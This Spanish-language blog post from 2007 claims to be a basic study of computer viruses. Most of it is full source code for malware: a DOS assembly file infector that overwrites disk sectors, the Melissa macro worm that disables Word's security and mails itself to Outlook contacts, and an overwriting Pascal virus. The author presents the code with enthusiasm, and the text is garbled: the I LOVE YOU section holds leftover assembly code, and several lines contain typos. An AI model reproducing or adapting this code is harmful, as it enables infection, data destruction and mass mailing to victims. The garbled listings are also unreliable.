lunes, 19 de febrero de 2007

Estudio básico de los virus

P-Drok-Array

Los Virus pueden ser escritos practicamente en cualquier lenguaje de programación. A pesar de que son más efectivos los virus que estan escritos en Lenguaje Ensamblador ;)

Muchos de ustedes piensan que los virus no pueden ser escritos en Basic debido a que está limitado. Esto es falso. Basic tiene la capacidad de producir buenos y efectivos Virus mientras este sea correctamente usado. La combinacion de Ensamblador y Basic podría crear unos espectaculares virus.

Hay que denotar que en el mercado hay muchos lenguajes de programación (Basic, Los Visual, Assembler, Pascal, Los Turbos, Etc.), y que actualmente los mas nombrados estan hechos en Visual Basic (Melissa, I Love You), ya que estos lenguajes son faciles para trabajar y cualquier persona aprenderia rapido (Me acuerdo de mis tiempos, donde programabamos en Assembler en arquitecturas Z80 y 8088].

En este articulo, quieremos examinar algunos virus escritos en Assembler, Pascal, Basic y Batch.

Empezamos ahora .... pero por favor (es por tu bien) no juegues con estos bichitos.

-= [ Virus en Lenguaje Ensamblador ] =-

Muchos virus estan escritos en lenguaje ensamblador porque este es el unico que tiene la habilidad de desviar la operatividad de un Sistema Operativo. Aqui hay un ejemplo, escrito para el MS-DOS y puede ser obviamente compilado.

;========================================================================

; Virus Programa

; Version 1.1

; Escrito por : R. Burger

; Creado: 19xx

; Este es un programa demostracion para virus de computadora. Este tiene la habilidad de remplazarse el mismo. y por esa razon modifica otros programas. Enjoy.

;========================================================================

Code Segment

Assume CS:Code

progr equ 100h

ORG progr

MAIN:

nop

nop

nop

;====================================================

; Inicializando los Punteros

;====================================================

mov ax,00

mov es:[pointer],ax

mov es:[counter],ax

mov es:[disks],al

;====================================================

; Obtiene el Controlador Seleccionado

;====================================================

mov ah,19h ;drive?

int 21h

;======================================================================

; Obtiene el flujo de la trayectoria en el mecanismo actual

;======================================================================

mov cs:drive,al ;guardar drive

mov ah,47h ;dir?

mov dh,0

add al,1

mov dl,al ;en el actual drive

lea si,cs:old_path ;

int 21h

;========================================================================

;Obtiene el numero de controladores presentes. Si hay solo uno, el puntero para el ordenamiento de busqueda constituira la configuracion del orden + 6

;========================================================================

mov as,0eh ;cuantos diskos

mov dl,0 ;

int 21h

mov al,01

cmp al,01 ;un solo drive

jnz hups3

mov al,06

hups3: mov ah,0

lea bx,search_order

add bx,ax

add bx,0001h

mov cs:pointer,bx

clc

;========================================================================

; Carga la configuracion, Si no encuentra mas .COM's. Entonces, se evita un trabaja innecesario, los archivos .EXE seran renombrados a archivos .COM y seran infectados. Esto causa un mensaje de Error "Program to large to fit memory" cuando carga la infeccion en los programas EXE.

;=========================================================================

change_disk:

jnc no_name_change

mov ah,17h ;cambia .EXE por .COM

lea dx,cs:maske_exe

int 21h

cmp al,0ffh

jnz no_name_change ;encontro .EXE?

;========================================================================

; Si no encuentra .COM o .EXE , entonces los sectores

; seran sobre-escribidos dependiendo al tiempo del system

; [en milisegundos]. En este tiempo se completara la infeccion

; en medios de almacenamientos. Y se inicia la infeccion

;========================================================================

mov ah,2ch ; lee el reloj del sistema

int 21h

mov bx,cs:pointer

mov al,cs:[bx]

mov bx,dx

mov cx,2

mov dh,0

int 26h

;==================================================================

; Chequea si es el fin de la busqueda ordenada en las tablas

;==================================================================

no_name_change:

mov bx,cs:pointer

dec bx

mov cs:pointer,bx

mov dl,cs:[bx]

cmp dl,0ffh

jnz hups2

jmp hops

;========================================================================

; Obtiene el nuevo controlador desde la busqueda ordenada en la tabla

; y selecciona este .

;=========================================================================

hups2:

mov ah,0eh

int 21h ;cambia el disko

;====================================================

; Inicia en el directorio raiz

;====================================================

mov ah,3bh ;cambia la ruta

lea dx,path

int 21h

jmp find_first_file

;====================================================

; Inicia desde el directorio raiz la busqueda

; para el primer subdirectorio.

; Primero convierte los archivos .EXE a .COM

; en un viejo directorio

;====================================================

find_first_subdir:

mov ah,17h ;cambia .exe por .com

lea dx,cs:maske_exe

int 21h

mov ah,3bh ;usa el directorio raiz

lea dx,path

int 21h

mov ah,04eh ;busca el primer directorio

mov cx,00010001b ;

lea dx,maske_dir ;

int 21h ;

jc change_disk

mov bx,CS:counter

INC,BX

DEC bx

jz use_next_subdir

;====================================================================

; Busca en el proximo Subdirectorio. Si no encuentra mas directorios, el controlador sera cambiado.

;====================================================================

find_next_subdir:

mov ah,4fh ; busca en el siguiente subdirectorio

int 21h

jc change_disk

dec bx

jnz find_next_subdir

;===================================================

; Selecciona el directorio hallado

====================================================

use_next_subdir:

mov ah,2fh ;

int 21h

add bx,1ch

mov es:[bx],'\` ;

inc bx

push ds

mov ax,es

mov ds,ax

mov dx,bx

mov ah,3bh ;cambia la ruta

int 21h

pop ds

mov bx,cs:counter

inc bx

mov CS:counter,bx

;==============================================================

; Busca primero archivos .COM en el directorio actual. Si no hay ninguno, busca en el proximo directorio.

;==============================================================

find_first_file:

mov ah,04eh ;Busca primero

mov cx,00000001b ;mascara

lea dx,maske_com ;

int 21h ;

jc find_first_subdir

jmp check_if_ill

;==============================================================

; Si el programa esta enfermo [infectado] entonces busca otro distinto..

;==============================================================

find_next_file:

mov ah,4fh ;busca la proxima

int 21h

jc find_first_subdir

;=============================================================

; Chequea si realmente esta infectado por el virus.

==============================================================

check_if_ill:

mov ah,3dh ;abre el canal

mov al,02h ;lee / escribe

mov dx,9eh ;

int 21

mov bx,ax ;guarda el canal

mov ah,3fh ; lee el archivo

mov ch,buflen ;

mov dx,buffer ;escribe en el buffer

int 21h

mov ah,3eh ;cierra el archivo

int 21h

mov bx,cs:[buffer]

cmp bx,9090h

jz find_next_file

;==============================================================

; HABILITA LA OPCION DE ESCRITURA ... MUY IMPORTANTE

;==============================================================

mov ah,43h ;hablita la escritura

mov al,0

mov dx,9eh ;

int 21h

mov ah,43h

mov al,01h

and cx,11111110b

int 21h

;===================================================

; Abre el archivo para lectura / escritura

====================================================

mov ah,3dh ;abre el canal

mov al,02h ;lee / escribe

mov dx,9eh ;

int 21h

;====================================================

; Lee la entrada de datos del programa y lo guarda para su futuro uso.

;====================================================

mov bx,ax ;canal

mov ah,57h ;obtiene la fecha

mov al.0

int 21h

push cx ;guarda la fecha

push dx

mov dx,cs:[conta] ;Abre el viejo jmp

mov cs:[jmpbuf],dx

mov dx,cs:[buffer+1] ;guarda el nuevo jump

lea cx,cont-100h

sub dx,cx

mov cs:[conta],dx

;====================================================

; Se empieza a reproducir.

;====================================================

mov ah,57h ;abre la fecha

mov al,1

pop dx

pop cx ;restaura la fecha

int 21h

;====================================================

; Cierra el archivo.

;====================================================

mov ah,3eh ;cierra el archivo

int 21h

=======

=Anexos

======= Aqui les dejo el codigo fuente en Visual Basic && VBScript de los dos

virus mas importantes en nuestra ultimos a~os, que son el MELISSA y

el I+LOVE+YOU, espero que los disfruten y que aprendan mucho de ellos,

ya que son virus muy interesantes [en la forma en que trabajan y sacan

la informacion].

-= MELISSA =-

<--------------------------- Aqui Empieza la Fiesta -------------------------->

Private Sub Document_Open[]

On Error Resume Next

If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] <> "" Then

CommandBars["Macro"].Controls["Security..."].Enabled = False

System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"] = 1&

Else

CommandBars["Tools"].Controls["Macro"].Enabled = False

Options.ConfirmConversions = [1 - 1]: Options.VirusProtection = [1 - 1]: Options.SaveNormalPrompt = [1 - 1]

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject["Outlook.Application"]

Set DasMapiName = UngaDasOutlook.GetNameSpace["MAPI"]

If System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists[y]

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem[0]

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries[x]

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-]"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString["", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?"] = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item[1]

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item[1]

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines[1, 1] = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ["Private Sub Document_Close[]"]

Do While ADI1.CodeModule.Lines[BGN, 1] <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines[BGN, 1]

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines[1, 1] = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ["Private Sub Document_Open[]"]

Do While NTI1.CodeModule.Lines[BGN, 1] <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines[BGN, 1]

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And [InStr[1, ActiveDocument.Name, "Document"] = False] Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf [InStr[1, ActiveDocument.Name, "Document"] <> False] Then

ActiveDocument.Saved = True

End If

'WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day[Now] = Minute[Now] Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub

<------------------------------ Aqui Termina --------------------------->

-= [ I LOVE YOU ] =-

<---------------------- Aqui empiezas a Enamorarte ---------------------->

rem barok -loveletter[vbe] <i hate go to school>

mov dx,cs:[jmpbuf] ;restituye el viejo jump

mov cs:[conta],dx

hops: nop

call use_old

;====================================================

; Continua con el programa anfitrion.

;====================================================

cont db 0e9h ;make jump

conta dw 0

mov ah,00

int 21h

;==============================================================

; Reactiva el controlador seleccionado y inicia el programa

;==============================================================

use_old:

mov ah,0eh ;usa el controlador viejo

mov dl,cs:drive

int 21h

;==============================================================

; Reactiva la ruta seleccionada y inicia el programa

;==============================================================

mov ah,3bh ;usa el viejo controlador

lea dx,old_path-1 ;obtiene la vieja ruta y el backslash

int 21h

ret

search_order db 0ffh,1,0,2,3,0ffh,00,offh

pointer dw 0000

counter dw 0000 ;

disks db 0 ;

maske_com db "*.com",00 ;

maske_dir db "*",00 ;

maske_exe db offh,0,0,0,0,0,00111111b

db 0,"????????exe",0,0,0,0

db 0,"????????com",0

maske_all db offh,0,0,0,0,0,00111111b

db 0,"???????????",0,0,0,0

db 0,"????????com",0

buffer equ 0e00h ;

buflen equ 230h ;

;

;

jmpbuf equ buffer+buflen ;

path db "\",0 ;

drive db 0 ;

back_slash db "\"

old_path db 32 dup [?] ;

code ends

end main

[ FIN DE ESTE VIRUS ]

 

-= [ Virus en Pascal ] =-

Pascal es otro lenguaje de alto nivel que puede producir que cualquier

computadora estalle ;) . A continuacion la descripcion de un virus en Pascal.

{

------------------------------------------------------------------

Number One

Please handle this virus with care!!!!!!!!!!! [Demostracion MORTIFERA]

Number One infects all .COM - file's name will be displayed

That file has been overwritten with Number Ones's program code and

is not reconstructible! If all files are infected or or no .COM

files are found, Number one gives you a <Smile>.

Files may be protected against infections of Number One by

setting the Read ONLY attribute.

Written 10.3.Xx by M.Vallen [Turbo Pascal 3.01A]

------------------------------------------------------ }

}

{C-}

{U-}

{I-}

{ -- Constantes --------------------------------------- }

Const

VirusSize = 12027;

Warning :String[42] {Mensaje de cuidado}

= 'This file has been infected ny Number One!';

{ -- Declaracion de los Type ------------------------------------- }

Type

DTARec =Record {Area de datos para la busqueda de archivos}

DOSnext :Array[1..21] of Byte;

Attr : Byte;

Ftime,

FDate,

FLsize,

FHsize : Integer;

FullName: Array[1..13] of Char;

End;

Registers = Record {Registra la configuracion usada para la busqueda de archivos }

Case Byte of

1 : [AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer];

2 : [AL,AH,BL,BH,CL,CH,DL,DH : Byte];

End;

{ -- Variables--------------------------------------------- }

Var

ProgramStart : Byte absolute Cseg:$100;

{ Marcador Infectado }

MarkInfected : String[42] absolute Cseg:$180;

Reg : Registers; { Registra la configuracion }

DTA : DTARec; { area de Datos }

Buffer : Array[Byte] of Byte; { Buffer de datos }

TestID : String[42]; { Identificacion de los archivos infectados}

UsePath : String[66]; { Ruta para la busqueda de archivos }

{ Longitud de la ruta para la busqueda }

UsePathLenght: Byte absolute UsePath;

Go : File; { Archivo a infectar }

B : Byte; { Usado }

{ -- Codigo de Programa ------------------------------------------ }

Begin

WriteLn[Warning]; { Pantalla del mensaje de Cuidado!!! }

GetDir[0, UsePath]; { obtiene la libreria actual}

if Pos['\', UsePath] <> UsePathLenght then

UsePath := UsePath + '\';

UsePath := UsePath + '*.COM'; { Define la mascara para la busqueda }

Reg.AH := $1A; { Configura el area de datos }

Reg.DS := Seg[DTA];

Reg.DX := Ofs[DTA];

MsDos[Reg];

UsePath[Succ[UsePathLenght]]:=#0;

Reg.AH := $4E;

Reg.DS := Seg[UsePath];

Reg.DX := Ofs[UsePath[1]];

Reg CX := $ff; { Configura los atributos para la busqueda de todos los archivos }

MsDos[Reg]; { Find first matching entry }

IF not Odd[Reg.Flags] Then { Si encuentra un archivo ... entonces }

Repeat

UsePath := DTA.FullName;

B := Pos[#0, UsePath];

If B > 0 then

Delete[UsePath, B, 255]; { Remueve la Basura }

Assign[Go, UsePath];

Reset[Go];

If IOresult = 0 Then { Si no ... error IO entonces }

Begin

BlockRead[Go, Buffer, 2];

Move[Buffer[$80], TestID, 43];

{ Comprueba si el archivo esta realmente esta Infectado }

If TestID <> Warning Then { Si no entonces ... }

Begin

Seek [Go, 0];

{ Etiqueta los archivos infectados y .. }

MarkInfected := Warning;

{ Lo Infecta ... heeee }

BlockWrite[Go,ProgramStart,Succ[VirusSize shr 7];

Close[Go];

{ Esta listo el Pollo ... jeje}

WriteLn[UsePath + 'infected.'];

Halt; {.. y DETIENE el programa}

End;

Close[Go];

End;

{ Los archivo ya han sido infectado, Busca el proximo. }

Reg.AH := $4F;

Reg.DS := Seg[DTA];

Reg.DX := Ofs[DTA];

MsDos[Reg];

{ ......................hasta que no encuentre mas archivos ....}

Until Odd[Red.Flags];

Write[`<Smile>']; {Busca algun amigo y dile que lo ejecute ;-] }

End.



Artículos relacionados


No hay comentarios: